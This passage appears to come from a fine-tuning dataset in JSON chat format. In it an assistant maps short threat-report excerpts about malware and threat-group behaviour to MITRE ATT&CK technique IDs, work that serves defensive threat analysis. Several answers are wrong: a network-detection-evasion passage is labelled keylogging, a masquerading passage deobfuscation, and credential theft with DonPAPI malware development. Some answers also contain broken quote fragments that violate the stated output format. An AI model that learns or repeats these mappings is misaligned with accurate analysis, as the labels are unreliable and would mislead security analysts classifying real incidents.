                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can scan victim drives to look for specific banking software on the machine to determine next actions."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT creates a scheduled task to maintain persistence on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "68271df868f462c06e24a896a9494225,Office Monkeys LOL Video.zip Believe it or not, recipients in bulk run the file within: 95b3ec0a4e539efaa1faa3d4e25d51de,Office Monkeys (Short Flash Movie).exe This file in turn drops two executables to %temp%: 2aabd78ef11926d7b562fd0d91e68ad3, Monkeys.exe 3d3363598f87c78826c859077606e514, player.exe It first launches Monkeys.exe, playing a self-contained, very funny video of white-collar tie wearing chimpanzees working in a high rise office with a human colleague"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Grandoreiro payload has been delivered encrypted with a custom XOR-based algorithm and also as a base64-encoded ZIP file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain a list of SIDs and provide the option for selecting process tokens to impersonate."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A JPIN uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya will reboot the system one hour after infection."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks) Further research revealed additional tools containing the same username (see Figure 21)"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2. The perpetrators distributed PlugX messages to employees- personal addresses, claiming to come from fellow members of staff. The letters contained photos of alleged senders. Along with the photos, all the information about personal mailboxes could have been collected during the group-s initial presence on corporate workstations."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection', 'T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C0010, UNC3890 actors staged tools on their infrastructure to download directly onto a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a RAT that communicates with HTTP."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape connects to an IRC server for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Five minutes after the automated reconnaissance activities are completed, the QAKBOT-injected wermgr.exe process drops the Brute Ratel DLL and invokes it via a rundll32.exe child process with the “main” export function."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.]com. The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used by the threat group can be configured to bypass network-based detection; however, the threat actors rarely modify host-based configuration settings when deploying payloads. The threat actors demonstrated the ability to adapt when reentering a network after an eviction, overcoming technical barriers constructed by network defenders"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For this method, Ransom Cartel uses a tool named \"\"DonPAPI,\"\" which can search hosts for DPAPI blobs containing Wi-Fi keys, RDP passwords, and credentials saved in web browsers and then download and decrypt them locally on the machine."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki has communicated with C2 over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore uses DES to encrypt the C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer can use `cmd.exe` to execute a created batch file."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used VBS scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout the year, Volexity identified multiple Vietnamese-language news websites that appeared to be compromised, as they were being used to load an OceanLotus web profiling framework. The exact functionality varied from site to site, but the goal of these frameworks was to gather information about site visitors and, in some cases, deliver malware. This code appears to be a variation of what Volexity has previously described as Framework A"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PcShare payload has been injected into the `logagent.exe` and `rdpclip.exe` processes."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has downloaded files, malware, and tools from its C2 onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a large list of C2 servers that it cycles through until a successful connection is established."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has relied upon users clicking on a malicious link delivered through phishing."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to gather the IP address from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Regin has used a hidden file system to store some of its components."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "29],[30(link is external)] - During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. 32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": ". The attackers have also used file names and export API names in the CRAT DLLs to masquerade the RAT as a benign application's library. Some examples of the exported function names are:. "
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sykipot may use \"net view /domain\" to display hostnames of available systems on a network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Matryoshka is capable of keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITSAdmin can be used to create BITS Jobs to upload and/or download files from SMB file servers."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to access the ADMIN$, C$\\Windows, D$\\Windows, and E$\\Windows shares on the victim with its current privileges."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can download additional modules from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Web shells, often to maintain access to a victim network."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In at least two incident response (IR) engagements, Blue Mockingbird has exploited public-facing web applications (T1190: Exploit Public-Facing Application) that implemented Telerik UI for ASP.NET AJAX. This suite of user interface components accelerates the web development process, but some versions are susceptible to a deserialization vulnerability, CVE-2019-18935. The exploitation of this CVE is not unique to Blue Mockingbird, but it has been a common point of entry"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Final1stspy uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has a module for capturing keystrokes per process including window titles."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When communicating with its C2 server, Psylo will use HTTPS with a unique user-agent of (notice the lack of a space between \"5.0\" and \"(Windows"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With the above done, the malware logs off all users and executes a small program — a “locker” — in a new thread. The path to the locker file named mssetup.exe is retrieved from the configuration. Finally, before moving to its main cause — wiping the system — the malware creates a scheduled task that assures its own persistence in the system. The scheduled task will be executed every time the system starts"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A few minutes after the initial execution, BazarLoader ran some discovery tasks using the built in Microsoft net and nltest utilities and transferred the results over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LaZagne can perform credential dumping from memory to obtain account and password information."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can parse the hard drive on a compromised host to identify specific file extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If yes, it generates an RSA PKCS key using CryptGenKey that is used for encryption of communication session keys. It then writes the RSA key to the PRVK key in the [Version] section of the config file. Turla’s Carbon backdoor also implements RSA encryption on the session keys for some of its C&amp;C channels"
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used a customized PlugX variant which could spread through USB connections."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the exploit succeeds, this Fallout Exploit Kit downloads a “.tmp” file to the %Temp% directory and calls CreateProcess to execute it. Further analysis revealed that the “.tmp” file was the latest variant of Azorult malware. It was the first time we’ve seen the new variant of Azorult malware used as primary payload for Fallout Exploit Kit"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging', 'T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a simple proxy that creates an outbound RDP connection."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can collect the IP address of the victim machine and spawn instances of netsh.exe to enumerate wireless settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon uses cmd.exe to execute commands for discovery."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used multi-stage malware components that inject later stages into separate processes."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can use DDE to execute additional payloads on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has registered look-alike domains for use in phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has renamed the \"psexec\" service name to \"mstdc\" to masquerade as a legitimate Windows service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs decrypts and extracts a copy of its main DLL payload when executing."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to steal documents from the local system including the print spooler queue."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The QakBot dropper can delay dropping the payload to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It moves the property list (plist) file com.dorusio.pkg.wallet.plist from the Installer package to the /Library/LaunchDaemons/ folder (Scheduled Task/Job: Launchd [T1053.004]). Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches Dorusio_upgrade and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004"
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon's first stage has been executed by a call to \"CreateProcess\" with the decryption password in an argument. PipeMon has used a call to \"LoadLibrary\" to load its installer."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 11: XML configuration file to schedule the task The Zyklon malware first retrieves the external IP address of the infected machine using the following:  api.ipify[.]org ip.anysrc[.]net myexternalip[.]com whatsmyip[.]com  The Zyklon executable contains another encrypted file in its .Net resource section named tor"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 obfuscates strings and payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has deployed scripts on compromised systems that automatically scan for interesting documents."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MCMD can upload additional files to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a batch file that configures the ComSysApp service to autostart in order to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used ping to identify other machines of interest."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The LNK file is finally used to identify a third file: a ZIP file"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has deleted the initial dropper after running through the environment checks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Curiously, the same private session key is also encrypted with another public key hardcoded into the body of the Trojan, regardless of the configuration. It turns out that someone who knows the private key corresponding to the public skeleton key is able to decrypt the victim’s files, even without the private key for sub_key. It seems like the Trojan developers built a loophole into the algorithm allowing them to decrypt files behind the distributors’ back"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
